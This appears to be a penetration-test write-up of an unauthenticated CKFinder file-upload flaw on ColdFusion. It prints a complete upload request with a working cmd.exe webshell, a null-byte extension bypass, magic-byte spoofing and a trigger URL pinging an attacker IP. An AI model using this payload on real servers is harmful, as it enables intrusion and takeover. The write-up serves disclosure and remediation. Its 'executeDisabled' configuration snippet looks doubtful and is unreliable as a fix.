Unauthenticated RCE in CKFinder via Null Byte Injection Vulnerability

Introduction

During an authorized penetration test on a corporate web application, I was performing directory enumeration against the target when I came across an exposed CKEditor/CKFinder file manager interface — accessible to anyone, no credentials required. What followed was a straightforward but critical attack chain: upload a file through the exposed interface, bypass the extension filter using a null byte injection, rename the uploaded file to a ColdFusion executable, and trigger remote code execution by hitting it directly in the browser.

This post walks through each step of that chain.

All testing was conducted under a signed agreement. Company names, domains, and identifying information have been redacted or replaced with xyz.com throughout.

Reconnaissance

The target was a corporate web application running on Adobe ColdFusion. While performing directory enumeration, the following path surfaced:

https://xyz.com/fckeditor/ckfinder/ckfinder.html

Navigating to that URL in the browser presented the full CKFinder file manager UI — no login prompt, no session check, no authentication of any kind.

CKFinder is the file management companion plugin for CKEditor. In a correctly configured deployment, it should sit behind authentication and restrict upload types to safe formats. Neither was true here.

Finding 1 — Unauthenticated File Upload

With the file manager open, I uploaded a simple HTML file directly through the UI to confirm write access was unrestricted.

Filename: iltosec.html
Content: ILTOSEC WAS HERE!

After the upload completed, I navigated to the file's public path:

https://xyz.com/documents/content/File/iltosec.html

The HTML rendered in the browser — confirming three things at once: write access required no credentials, uploaded files land in a predictable public path, and the server serves them with their original content type.

Finding 2 — Extension Filter Bypass via Null Byte Injection

The next objective was uploading a .cfm file. ColdFusion executes .cfm files server-side, so any .cfm upload landing in a web-accessible directory is a direct path to code execution.

Attempting a direct .cfm upload through the UI was blocked — CKFinder's extension filter rejected it. I moved to Burp Suite and crafted the upload request manually, using a null byte (%00) injection in the filename:

iltoseccom.cfm%00.html

The null byte causes the OS-level or filesystem string processing to terminate the filename early, resulting in the file being stored as iltoseccom.cfm — while the application-level filter only evaluates the .html suffix and passes it.

The full Burp request:

POST /fckeditor/ckfinder/core/connector/cfm/connector.cfm?command=FileUpload&type=Documents&currentFolder=%2F&langCode=en&hash=xxx&response_type=txt HTTP/2
Host: xyz.com
Cookie: JSESSIONID=xxx.cfusion; CFID=xxx; CFTOKEN=xxx;
Content-Type: multipart/form-data; boundary=----geckoformboundary7caf52d01784504a7e984a333b9caabc

------geckoformboundary7caf52d01784504a7e984a333b9caabc
Content-Disposition: form-data; name="upload"; filename="iltoseccom.cfm%00.html"
Content-Type: text/plain

GIF89a;
<cfif structKeyExists(url, "x")>
<cfexecute name="cmd.exe" arguments="/c #url.x#" variable="output" timeout="10"></cfexecute>
<pre>#output#</pre>
</cfif>
------geckoformboundary7caf52d01784504a7e984a333b9caabc--

A few things worth noting about the payload:

GIF89a; — Magic bytes prepended to spoof the file header. Some server-side validators check only the first bytes of a file rather than its full content.
structKeyExists(url, "x") — ColdFusion conditional that checks for the x URL parameter before executing anything. Clean execution path, no blind guessing.
cfexecute — The ColdFusion tag that shells out to the OS. Here it pipes the x parameter directly into cmd.exe.

The server responded with HTTP 200 OK. Response body:

iltoseccom.cfm%00.html|

Upload successful. The null byte bypass worked.

Finding 3 — Renaming the File to `.cfm`

The uploaded file was stored as iltoseccom.cfm%00.html. To make it executable by the ColdFusion engine, I needed to strip the .html suffix. CKFinder exposes a rename function directly in the UI — no additional request crafting required.

I renamed the file from iltoseccom.cfm%00.html to:

iltoseccom.cfm

A ColdFusion webshell was now sitting in a publicly accessible upload directory.

Finding 4 — Remote Code Execution

With the webshell in place, I triggered execution by navigating directly to the file and passing a command through the x parameter:

https://xyz.com/documents/content/File/iltoseccom.cfm?x=ping <ATTACKER_IP>

The server pinged the attacker-controlled IP — confirming OS-level command execution through cmd.exe. From here, I replaced the ping command with a PowerShell reverse shell one-liner and obtained an interactive session on the underlying Windows server.

Impact

The full attack chain required no credentials at any point. An unauthenticated external attacker could:

Write arbitrary files to the corporate file server via the exposed CKFinder interface.
Bypass extension filtering with a single null byte in the filename.
Execute ColdFusion code server-side by uploading a .cfm webshell to a web-accessible directory.
Achieve full OS command execution — and from there, reverse shell access, credential harvesting, and lateral movement into the internal network.

The entire chain — from discovery to reverse shell — required no special tooling beyond a browser and Burp Suite.

Remediation

Restrict CKFinder access — Place the CKFinder interface behind authentication. Only authenticated admin users should be able to reach it. If CKFinder is not actively needed, remove the /fckeditor/ directory entirely.

Use an extension allowlist, not a blocklist — The filter was bypassed because it relied on blocking known-bad extensions. Replace it with a strict allowlist permitting only safe types (e.g. jpg, png, pdf, docx). Reject everything else.

Prevent script execution in upload directories — Configure the web server to serve files in upload folders as static content only. ColdFusion should never be allowed to execute files from user-controlled upload paths:

<!-- ColdFusion application.cfc — restrict execution paths -->
<cfapplication executeDisabled="true" />

Or at the web server level, remove handler mappings for .cfm on the upload directory.

Validate MIME type and magic bytes properly — Do not rely solely on the file header. Validate file content against the declared Content-Type on the server side.

Upgrade or remove CKFinder 2.x — CKFinder 2.x is end-of-life and no longer receives security patches. Upgrade to a maintained version or replace the integration entirely.